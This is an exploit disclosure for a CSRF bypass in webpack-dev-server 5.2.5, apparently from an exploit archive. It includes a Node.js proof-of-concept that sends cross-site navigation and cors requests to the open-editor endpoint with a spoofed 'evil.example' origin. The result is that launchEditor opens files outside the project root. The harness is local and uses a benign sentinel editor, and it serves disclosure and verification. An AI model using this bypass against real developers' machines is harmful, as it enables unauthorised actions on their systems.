webpack_devserver 5.2.5 – CSRF
# Exploit Title: webpack_devserver 5.2.5 - Csrf # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/webpack/webpack-dev-server # Software Link: https://www.npmjs.com/package/webpack-dev-server # Version: <= 5.2.5 (fixed 5.2.6) # Tested on: Linux # CVE: CVE-2026-14620 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc.js) --- /* * PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF * * Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches * launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin * guard added for CVE-2026-6402 / CVE-2025-30359. * * The guard (lib/Server.js:2039-2046) only blocks requests whose headers are * BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the * <script>/<img>/<link> subresource loads that the source-theft advisories were * about. It does NOT block: * - cross-site NAVIGATIONS (iframe / window.open / top-level) -> sec-fetch-mode: navigate * - cross-site fetch(..., {mode:'cors'}) -> sec-fetch-mode: cors * Both of those are exactly how a real malicious page reaches a state-changing * GET endpoint, and both let launchEditor() spawn a process on the dev's machine * with an attacker-chosen (existing) file path — INCLUDING paths outside the * project root. * * Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched * with. No destructive action. Everything is local (127.0.0.1). */ "use strict"; const path = require("path"); const http = require("http"); const fs = require("fs"); const POC_DIR = __dirname; // Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5). // WDS_ROOT=/path/to/webpack-dev-server node poc.js const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server"); const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack")); const Server = require(path.join(WDS_ROOT, "lib", "Server.js")); const MARKER_FILE = path.join(POC_DIR, "marker.log"); const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh"); // Attacker-chosen target: a file OUTSIDE the dev-server project root. const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt"); // Make launch-editor deterministically use our benign sentinel "editor". process.env.LAUNCH_EDITOR = FAKE_EDITOR; process.env.MARKER_FILE = MARKER_FILE; try { fs.unlinkSync(MARKER_FILE); } catch {} fs.chmodSync(FAKE_EDITOR, 0o755); const HOST = "127.0.0.1"; function request(port, headers) { return new Promise((resolve) => { const url = "/webpack-dev-server/open-editor?fileName=" + encodeURIComponent(ATTACKER_TARGET); const req = http.request( { host: HOST, port, path: url, method: "GET", headers }, (res) => { let body = ""; res.on("data", (c) => (body += c)); res.on("end", () => resolve({ status: res.statusCode, body })); } ); req.on("error", (e) => resolve({ status: 0, body: String(e) })); req.end(); }); } function markerCount() { try { return fs .readFileSync(MARKER_FILE, "utf8") .split("\n") .filter((l) => l.includes("LAUNCHED_WITH")).length; } catch { return 0; } } async function waitMarker(prev, ms = 2500) { const t0 = Date.now(); while (Date.now() - t0 < ms) { if (markerCount() > prev) return true; await new Promise((r) => setTimeout(r, 50)); } return false; } (async () => { const compiler = webpack({ mode: "development", context: path.join(POC_DIR, "project"), entry: "./src/index.js", output: { path: path.join(POC_DIR, "project", "dist") }, }); // Default-ish config. allowedHosts defaults to "auto"; no special hardening. const server = new Server({ host: HOST, port: 0 }, compiler); await server.start(); const port = server.server.address().port; console.log(`[*] dev server up on http://${HOST}:${port } (allowedHosts: auto, default)\n`); const results = []; // Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these. let prev = markerCount(); let rA = await request(port, { Host: `localhost:${port}`, Origin: " https://evil.example ", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Dest": "iframe", }); let firedA = await waitMarker(prev); results.push(["A navigate (iframe) cross-site", rA.status, firedA]); // Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires. prev = markerCount(); let rB = await request(port, { Host: `localhost:${port}`, Origin: " https://evil.example ", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Dest": "empty", }); let firedB = await waitMarker(prev); results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]); // Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource. prev = markerCount(); let rC = await request(port, { Host: `localhost:${port}`, Origin: " https://evil.example ", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Dest": "script", }); let firedC = await waitMarker(prev, 1200); results.push(["C no-cors (script/img) cross-site", rC.status, firedC]); console.log("VECTOR HTTP launchEditor fired?"); for (const [name, status, fired] of results) { console.log( `${name.padEnd(38)} ${String(status).padEnd(5)} ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}` ); } console.log("\n--- marker.log (argv the spawned 'editor' received) ---"); try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); } const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false; console.log( `\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` + `cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` + `only no-cors subresource is blocked.` ); await server.stop(); process.exit(pass ? 0 : 1); })().catch((e) => { console.error("PoC error:", e); process.exit(2); }); |